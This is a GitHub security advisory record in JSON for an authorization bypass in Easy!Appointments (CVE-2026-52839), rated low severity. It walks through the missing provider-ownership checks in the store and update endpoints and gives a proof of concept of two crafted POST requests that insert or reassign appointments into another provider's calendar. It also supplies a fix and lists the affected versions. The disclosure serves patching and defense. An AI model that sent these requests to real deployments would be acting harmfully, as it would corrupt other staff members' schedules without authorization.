{"id":"GHSA-w8xc-8g92-v77h","summary":"Easy!Appointments appointments/store and appointments/update allow cross-provider appointment injection — Authorization Bypass","details":"## Summary\n \nEasy!Appointments correctly filters provider-scoped appointments in the `appointments/search` response, proving that provider isolation is an intended security boundary. However, the direct mutation endpoints `appointments/store` and `appointments/update` only check generic appointment privileges and never verify that the submitted `id_users_provider` belongs to the current session.\n \nA normal authenticated provider can inject new appointments into another provider's schedule via `store`, or reassign existing appointments into a foreign provider's calendar via `update`. The `store` path contains an additional write-before-crash bug: the unauthorized row is committed to the database before the controller crashes on a type error, so the attacker receives an error response while the foreign appointment is already persisted.\n \n---\n \n## Root Cause — Step by Step Code Flow\n \n### Step 1 — Search correctly enforces provider isolation\nThe `search` endpoint filters out appointments belonging to other providers — proving provider isolation is an intended boundary:\n \n```php\n// Appointments.php\nif ($role_slug === DB_SLUG_PROVIDER) {\n    foreach ($appointments as $index =\u003e $appointment) {\n        if ((int) $appointment['id_users_provider'] !== (int) $user_id) {\n            unset($appointments[$index]);\n        }\n    }\n}\n```\n \n### Step 2 — store() only checks generic add permission\nThe store endpoint checks only whether the caller can add appointments in general — no provider ownership check:\n \n```php\n// Appointments.php line 74-152\nif (cannot('add', PRIV_APPOINTMENTS)) {\n    abort(403, 'Forbidden');\n}\n \n$appointment = json_decode(request('appointment'), true);\n```\n \n### Step 3 — Attacker-controlled id_users_provider saved directly\nThe controller whitelists and persists the appointment including the attacker-controlled provider ID:\n \n```php\n$this-\u003eappointments_model-\u003eonly($appointment, $this-\u003eallowed_appointment_fields);\n$appointment_id = $this-\u003eappointments_model-\u003esave($appointment);\n```\n \nNo check is performed to verify `id_users_provider` matches the current session.\n \n### Step 4 — Write-before-crash on store()\nAfter the unauthorized row is committed, the controller crashes on a type error:\n \n```php\n$appointment = $this-\u003eappointments_model-\u003efind($appointment); // array passed instead of $appointment_id\n```\n \nThe attacker receives a 500 error response, but the foreign appointment row is already in the database.\n \n### Step 5 — update() has the same missing ownership check\nThe update endpoint also accepts attacker-controlled `id_users_provider` with only a generic edit permission check:\n \n```php\n// Appointments.php line 178-196\nif (cannot('edit', PRIV_APPOINTMENTS)) {\n    abort(403, 'Forbidden');\n}\n \n$appointment = json_decode(request('appointment'), true);\n$appointment_id = $this-\u003eappointments_model-\u003esave($appointment);\n```\n \nA provider can reassign any appointment they can edit into a foreign provider's calendar.\n \n---\n \n## Proof of Concept\n \n**Attacker:** Provider with session ID `4`\n**Target:** Foreign provider with ID `2`\n \n**Step 1 — Inject appointment into foreign provider's schedule:**\n \n```http\nPOST /index.php/appointments/store HTTP/1.1\nHost: 127.0.0.1:18094\nCookie: \u003cprovider-4-session\u003e\nContent-Type: application/x-www-form-urlencoded\n \ncsrf_token=\u003ctoken\u003e&appointment={\"start_datetime\":\"2026-05-29 15:00:00\",\"end_datetime\":\"2026-05-29 15:30:00\",\"notes\":\"foreign provider create by alicer\",\"id_users_provider\":2,\"id_users_customer\":3,\"id_services\":1}\n```\n \nResponse: `500 Internal Server Error` — type error on find()\n \n**But the row is committed:**\n```\nid  start_datetime        id_users_provider  notes\n6   2026-05-29 15:00:00   2                  foreign provider create by alicer\n```\n \nProvider 4 created a row that belongs to provider 2.\n \n---\n \n**Step 2 — Reassign existing appointment to foreign provider:**\n \n```http\nPOST /index.php/appointments/update HTTP/1.1\nHost: 127.0.0.1:18094\nCookie: \u003cprovider-4-session\u003e\nContent-Type: application/x-www-form-urlencoded\n \ncsrf_token=\u003ctoken\u003e&appointment={\"id\":7,\"start_datetime\":\"2026-05-30 09:00:00\",\"end_datetime\":\"2026-05-30 09:30:00\",\"notes\":\"reassigned to provider 2 by alicer\",\"id_users_provider\":2,\"id_users_customer\":3,\"id_services\":1}\n```\n \nResponse: `200 OK`\n \n**Result:** Appointment 7 now belongs to provider 2 instead of provider 4.\n \n**Runtime verification result:**\n```\nattacker provider id:                    4\nforeign created appointment provider id: 2\nreassigned appointment provider id:      2\nprovider-visible appointments:           0\nPASS\n```\n \nThe attacker's appointment search returns 0 results because both proof appointments now belong to the foreign provider.\n \n---\n \n## Real World Impact\n \nIn a multi-provider Easy!Appointments deployment — a clinic, salon, or service business with multiple staff members — any authenticated provider can:\n \n- Inject fake appointments into a colleague's schedule causing confusion and double-bookings\n- Move their own appointments into another provider's calendar to hide or offload them\n- Disrupt scheduling integrity for staff and customers\n- Create unauthorized appointments that customers and admins attribute to the wrong provider\nThe write-before-crash bug in `store()` makes detection harder — the attacker receives an error response that may appear harmless while the unauthorized record is silently committed.\n \n---\n \n## Suggested Fix\n \n**In `store()` and `update()`:** Enforce that `id_users_provider` matches the current session provider ID for non-admin roles:\n \n```php\nif ($role_slug === DB_SLUG_PROVIDER) {\n    $appointment['id_users_provider'] = $user_id; // force own provider ID\n}\n```\n \n**Fix the write-before-crash bug in `store()`:**\n \n```php\n$appointment_id = $this-\u003eappointments_model-\u003esave($appointment);\n$appointment = $this-\u003eappointments_model-\u003efind($appointment_id); // use ID not array\n```\n \n---\n \n## Reporter\n**Yash Shendge (ashrexon)**\n2026-05-25","aliases":["CVE-2026-52839"],"modified":"2026-07-29T16:30:21.088217147Z","published":"2026-07-29T16:26:25Z","database_specific":{"nvd_published_at":"2026-07-14T16:17:00Z","cwe_ids":["CWE-639","CWE-862"],"severity":"LOW","github_reviewed":true,"github_reviewed_at":"2026-07-29T16:26:25Z"},"references":[{"type":"WEB","url":"https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-w8xc-8g92-v77h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-52839"},{"type":"WEB","url":"https://github.com/alextselegidis/easyappointments/commit/725eafa647308846ce887657db12771a829e42ef"},{"type":"PACKAGE","url":"https://github.com/alextselegidis/easyappointments"},{"type":"WEB","url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0"}],"affected":[{"package":{"name":"alextselegidis/easyappointments","ecosystem":"Packagist","purl":"pkg:composer/alextselegidis/easyappointments"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.0"}]}],"versions":["1.1.0","1.1.0-beta.1","1.1.0-beta.2","1.1.1","1.2.0","1.2.0-alpha.1","1.2.0-beta.1","1.2.1","1.3.0","1.3.0-alpha.1","1.3.0-beta.1","1.3.0-beta.2","1.3.1","1.3.1-beta.1","1.3.2","1.3.2-beta.1","1.4.0","1.4.0-beta.1","1.4.1","1.4.2","1.4.2-beta.1","1.4.3","1.4.3-beta.1","1.5.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-w8xc-8g92-v77h/GHSA-w8xc-8g92-v77h.json","last_known_affected_version_range":"\u003c= 1.5.2"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N"}]}